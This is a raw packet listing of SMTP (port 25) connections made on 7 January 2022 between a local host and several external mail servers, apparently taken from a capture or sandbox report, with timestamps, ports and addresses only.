Jan 7, 2022 15:57:38.486710072 CET	25	49908	142.250.150.26	192.168.2.4
Jan 7, 2022 15:57:38.486834049 CET	49908	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:57:38.489135981 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.489170074 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.489259958 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.489332914 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.502067089 CET	49910	25	192.168.2.4	192.254.190.168
Jan 7, 2022 15:57:38.505681038 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.505700111 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.505783081 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.505841017 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.505870104 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.505939960 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.505975008 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.522434950 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.522455931 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.522511005 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.522591114 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.522672892 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.522738934 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.522747040 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.522893906 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.522928953 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.522948027 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.522986889 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.523036957 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.523062944 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.539005995 CET	25	49908	142.250.150.26	192.168.2.4
Jan 7, 2022 15:57:38.539114952 CET	49908	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:57:38.539290905 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.539371967 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.540014982 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.540087938 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.540196896 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.540213108 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.540271044 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.540283918 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.540364981 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.540383101 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.540395975 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.540400982 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.540409088 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.540416956 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.540430069 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.540477991 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.540492058 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.540544033 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.540647984 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.540731907 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.556051016 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.556188107 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.556729078 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.556977987 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.557018042 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.557092905 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.557092905 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.557128906 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.557145119 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.557173014 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.557221889 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.557301044 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.557311058 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.557410002 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.557461023 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.557497978 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.557532072 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.557549000 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.557565928 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.557586908 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.557617903 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.557660103 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.557676077 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.557737112 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.557753086 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.557846069 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.557976961 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.557991982 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.558024883 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.558098078 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.558114052 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.558142900 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.558146954 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.558182001 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.558187962 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.558214903 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.558231115 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.558247089 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.558260918 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.558284044 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.558315992 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.558336020 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.558402061 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.558485985 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.558573961 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.558574915 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.558706999 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.558991909 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.559070110 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.559083939 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.559093952 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.559133053 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.559171915 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.559176922 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.559216976 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.572796106 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.572825909 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.572840929 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.572874069 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.572890997 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.572907925 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.573158979 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.573175907 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.573349953 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.573424101 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.573601961 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.573721886 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.573833942 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.573993921 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.574074030 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.574153900 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.574172020 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.574317932 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.574558020 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.574618101 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.574814081 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.574830055 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.574950933 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.574968100 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.575026989 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.575237989 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.575253010 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.575431108 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.575568914 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.575584888 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.575670004 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.575794935 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.575969934 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.575985909 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576000929 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576014996 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576122999 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576141119 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576232910 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576348066 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576391935 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576527119 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576545000 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576632023 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576649904 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576751947 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576767921 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576833010 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576860905 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.576956034 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.577132940 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.577265978 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.577295065 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.577387094 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.577426910 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.577527046 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.577626944 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.577687025 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.577836990 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.577852964 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.577913046 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.577992916 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578008890 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578109026 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578192949 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578280926 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578387022 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578403950 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578505993 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578543901 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578617096 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578696012 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578777075 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578792095 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578807116 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578872919 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.578953981 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.579087019 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.579219103 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.579236031 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.579252958 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.579437017 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.579452991 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.579515934 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.579598904 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.579615116 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.579682112 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.579802036 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.579821110 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580001116 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580018044 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580033064 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580195904 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580212116 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580363035 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580380917 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580394030 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580598116 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580614090 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580705881 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580748081 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580832958 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.580926895 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.596087933 CET	25	49908	142.250.150.26	192.168.2.4
Jan 7, 2022 15:57:38.601908922 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:38.602085114 CET	25	49908	142.250.150.26	192.168.2.4
Jan 7, 2022 15:57:38.602102041 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:38.602176905 CET	49908	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:57:38.602205038 CET	49908	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:57:38.602598906 CET	49912	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:38.610419989 CET	25	49903	216.200.145.235	192.168.2.4
Jan 7, 2022 15:57:38.610831976 CET	25	49903	216.200.145.235	192.168.2.4
Jan 7, 2022 15:57:38.610985994 CET	49903	25	192.168.2.4	216.200.145.235
Jan 7, 2022 15:57:38.654515028 CET	25	49908	142.250.150.26	192.168.2.4
Jan 7, 2022 15:57:38.654614925 CET	49908	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:57:38.654776096 CET	25	49912	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:38.654867887 CET	49912	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:38.657748938 CET	25	49910	192.254.190.168	192.168.2.4
Jan 7, 2022 15:57:38.657845974 CET	49910	25	192.168.2.4	192.254.190.168
Jan 7, 2022 15:57:38.708379984 CET	25	49912	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:38.711004972 CET	49912	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:38.762702942 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:38.762738943 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:38.762841940 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:38.763293982 CET	25	49912	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:38.766988039 CET	25	49912	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:38.768107891 CET	49912	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:38.790378094 CET	25	49903	216.200.145.235	192.168.2.4
Jan 7, 2022 15:57:38.791095972 CET	25	49903	216.200.145.235	192.168.2.4
Jan 7, 2022 15:57:38.791260958 CET	49903	25	192.168.2.4	216.200.145.235
Jan 7, 2022 15:57:38.820909977 CET	25	49912	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:38.821306944 CET	49912	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:38.868304968 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.879574060 CET	25	49912	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:38.883079052 CET	25	49912	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:38.883223057 CET	49912	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:38.883362055 CET	49912	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:38.883640051 CET	49914	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:38.886207104 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.886327028 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.886972904 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.904130936 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.904787064 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.904889107 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.921384096 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.921516895 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.923265934 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.923366070 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:38.923752069 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:38.923846960 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:38.937577009 CET	25	49912	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:38.937864065 CET	49912	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:38.937879086 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.937954903 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.938050032 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.939793110 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.939822912 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.939840078 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.939856052 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.939873934 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.939918995 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.939969063 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.939975023 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.940026999 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.940141916 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.954399109 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.954435110 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.954452991 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.954510927 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.954560041 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.955048084 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.956271887 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.956300974 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.956316948 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.956332922 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.956347942 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.956387043 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.956417084 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.956454992 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.956490993 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.956504107 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.956531048 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.956549883 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.956617117 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.956674099 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.971074104 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.971101999 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.971112967 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.971257925 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.971316099 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.971379042 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.971381903 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.971451998 CET	25	49903	216.200.145.235	192.168.2.4
Jan 7, 2022 15:57:38.971479893 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.972775936 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.972799063 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.972906113 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.972924948 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.972943068 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.972961903 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.972999096 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.973014116 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.973043919 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.973073959 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.973160982 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.973176956 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.973191977 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.973229885 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.987811089 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.987842083 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.987956047 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.987973928 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.989253044 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.989283085 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.989392996 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.989435911 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.989511967 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.989586115 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.989696026 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.989748001 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:39.006186962 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:39.006238937 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:39.006334066 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:39.038888931 CET	25	49903	216.200.145.235	192.168.2.4
Jan 7, 2022 15:57:39.039043903 CET	49903	25	192.168.2.4	216.200.145.235
Jan 7, 2022 15:57:39.039077997 CET	49903	25	192.168.2.4	216.200.145.235
Jan 7, 2022 15:57:39.106111050 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:39.107598066 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:39.217152119 CET	49916	25	192.168.2.4	128.30.52.76
Jan 7, 2022 15:57:39.218357086 CET	25	49903	216.200.145.235	192.168.2.4
Jan 7, 2022 15:57:39.218385935 CET	25	49903	216.200.145.235	192.168.2.4
Jan 7, 2022 15:57:39.219187975 CET	25	49903	216.200.145.235	192.168.2.4
Jan 7, 2022 15:57:39.219214916 CET	25	49903	216.200.145.235	192.168.2.4
Jan 7, 2022 15:57:39.219269037 CET	49903	25	192.168.2.4	216.200.145.235
Jan 7, 2022 15:57:39.219319105 CET	49903	25	192.168.2.4	216.200.145.235
Jan 7, 2022 15:57:39.232969999 CET	25	49914	74.125.200.27	192.168.2.4
